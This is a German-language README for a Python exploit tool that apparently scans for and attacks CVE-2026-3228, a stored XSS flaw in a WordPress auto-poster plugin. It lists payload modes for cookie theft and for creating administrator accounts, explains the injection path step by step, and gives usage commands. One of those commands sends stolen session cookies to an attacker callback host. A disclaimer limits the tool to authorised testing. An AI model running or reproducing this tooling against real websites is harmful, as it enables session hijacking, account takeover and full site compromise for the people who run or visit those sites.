
Scannt und exploitet CVE-2026-3228, eine gespeicherte XSS im NextScripts-WordPress-Plugin, mit Pre-Auth-Erkennung, authentifizierten Prüfungen und Payload-Injektion für PoC, Cookie-Diebstahl oder Admin-Erstellung.
https://img.shields.io/badge/python-3.6+-blue.svg
https://img.shields.io/badge/license-MIT-green
https://img.shields.io/badge/WordPress-Plugin-red
Autor: NULL200OK
Ein umfassendes Python-Tool zum Scannen und Ausnutzen von CVE-2026-3228, einer Stored Cross-Site-Scripting-Schwachstelle (XSS) im WordPress-Plugin NextScripts: Social Networks Auto-Poster (Versionen ≤ 4.4.6).
Die Schwachstelle ermöglicht es authentifizierten Benutzern mit Contributor-Zugriff oder höher, beliebiges JavaScript über den [nxs_fbembed]-Shortcode einzuschleusen. Wenn ein Administrator den infizierten Beitrag ansieht, wird das Skript in dessen Browser ausgeführt, was potenziell zu Session-Hijacking, der Erstellung von Admin-Konten oder der Kompromittierung der Website führen kann.
📦 Funktionen
info – Zeigt detaillierte CVE-Informationen an (Beschreibung, Ursache, Auswirkung).
scan – Pre-Authentication-Scan zur Erkennung des Plugins und seiner Version.
check – Umfassender Check mit Anmeldedaten (Login, Berechtigungsprüfung, Versionserkennung).
exploit – Injiziert bösartige XSS-Payloads in einen neuen Beitrag mithilfe des verwundbaren Shortcodes.
Mehrere Payload-Typen:
alert – Einfaches Alert-Feld als Proof-of-Concept.
cookie – Stiehlt Session-Cookies und sendet sie an eine Callback-URL.
admin – Versucht, einen neuen Administrator-Benutzer zu erstellen (erfordert, dass ein Admin die Seite ansieht).
html – Grundlegende HTML-Injektion mit onerror-Ereignissen.
custom – Benutzerdefiniertes JavaScript.
all – Injiziert alle Payload-Typen in separaten Beiträgen.
Automatische Authentifizierung – Übernimmt WordPress-Login, Session-Verwaltung und Nonce-Extraktion.
Fallback-Injektionsmethoden – Versucht zuerst die REST-API, dann die traditionelle Formularübermittlung.
Benutzerfreundliche Ausgabe – Farbcodierte Statusmeldungen und klare Schritt-für-Schritt-Anleitungen.
🚨 Überblick über die Schwachstelle
CVE-ID: CVE-2026-3228
CVSS-Score: 6.4 (Mittel)
Betroffenes Plugin: NextScripts: Social Networks Auto-Poster ≤ 4.4.6
Ursache:
Unzureichende Eingabebereinigung des snapFB-Beitrags-Meta-Werts.
Unzureichende Ausgabe-Escaping bei der Darstellung des [nxs_fbembed]-Shortcodes.
Erforderliche Berechtigungen: Contributor-Konto oder höher.
Auswirkung: Ein Angreifer kann beliebiges JavaScript im Kontext jedes Benutzers (einschließlich Administratoren) ausführen, der den infizierten Beitrag ansieht, was zur vollständigen Kompromittierung der Website führt.
⚙️ Anforderungen
Python 3.6+
requests
beautifulsoup4
Abhängigkeiten installieren:
bash
pip install requests beautifulsoup4
🔧 Installation
bash
cd CVE-2026-3228
📚 Verwendung
text
usage: CVE-2026-3228.py [-h] {info,scan,check,exploit} ...
CVE-2026-3228 – NextScripts WordPress Plugin Stored XSS Scanner & Exploit
positionale Argumente:
{info,scan,check,exploit}
info Zeigt detaillierte Informationen über die CVE an
scan Prüft, ob das Ziel verwundbar ist (Pre-Auth)
check Umfassender Check mit Anmeldedaten
exploit Nutzt die Schwachstelle aus (erfordert gültige Anmeldedaten)
optionale Argumente:
-h, --help Zeigt diese Hilfemeldung an und beendet das Programm
bash
python3 CVE-2026-3228.py info
bash
python3 CVE-2026-3228.py scan https://example.com
bash
python3 CVE-2026-3228.py check https://example.com -u contributor -p password
Einfache Alert-Payload (PoC)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type alert
Cookies stehlen (erfordert einen Listener)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type cookie --callback-url https://attacker.com/steal
Versuch, einen Admin-Benutzer zu erstellen (wenn ein Admin die Seite ansieht)
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type admin
Alle Payload-Typen injizieren
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type all
Benutzerdefiniertes JavaScript
bash
python3 CVE-2026-3228.py exploit https://example.com -u contributor -p password --payload-type custom --custom-js "console.log('pwned')"
🧠 So funktioniert es (Schritt für Schritt)
Authentifizierung – Das Skript meldet sich mit den bereitgestellten Anmeldedaten bei WordPress an und hält eine Session aufrecht.
Berechtigungsprüfung – Stellt sicher, dass der angemeldete Benutzer mindestens Contributor-Zugriff hat (erforderlich zum Erstellen von Beiträgen).
Payload-Erzeugung – Erstellt JavaScript-Payloads basierend auf dem gewählten Typ.
Injektion – Erstellt einen neuen Beitrag, der den verwundbaren [nxs_fbembed]-Shortcode enthält. Das bösartige Skript wird im snapFB-Beitrags-Meta-Feld platziert, das vom Plugin nicht ordnungsgemäß bereinigt wird.
Speicherung – Der Beitrag wird veröffentlicht (oder als Entwurf gespeichert) und die Payload wird in der Datenbank gespeichert.
Auslösung – Wenn ein Administrator (oder ein beliebiger Benutzer) den Beitrag ansieht, wird das nicht bereinigte Skript gerendert und in dessen Browser ausgeführt.
Post-Exploitation – Abhängig von der Payload kann der Angreifer Cookies stehlen, Admin-Konten erstellen oder andere Aktionen ausführen.
Das Skript versucht die Injektion zuerst über die WordPress-REST-API (schneller, sauberer). Wenn das fehlschlägt, greift es auf die traditionelle Formularübermittlung zurück und extrahiert die erforderlichen Nonces aus der Beitragseditor-Seite.
⚠️ Haftungsausschluss
Dieses Tool dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Die unbefugte Verwendung gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Testberechtigung haben, ist illegal. Der Autor (NULL200OK) übernimmt keine Haftung und ist nicht für Missbrauch oder Schäden verantwortlich, die durch dieses Skript verursacht werden.
📄 Lizenz
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die LICENSE-Datei für Details.
📬 Referenzen
MITRE CVE‑2026‑3228 (Platzhalter)
WordPress Plugin Directory
OWASP Stored XSS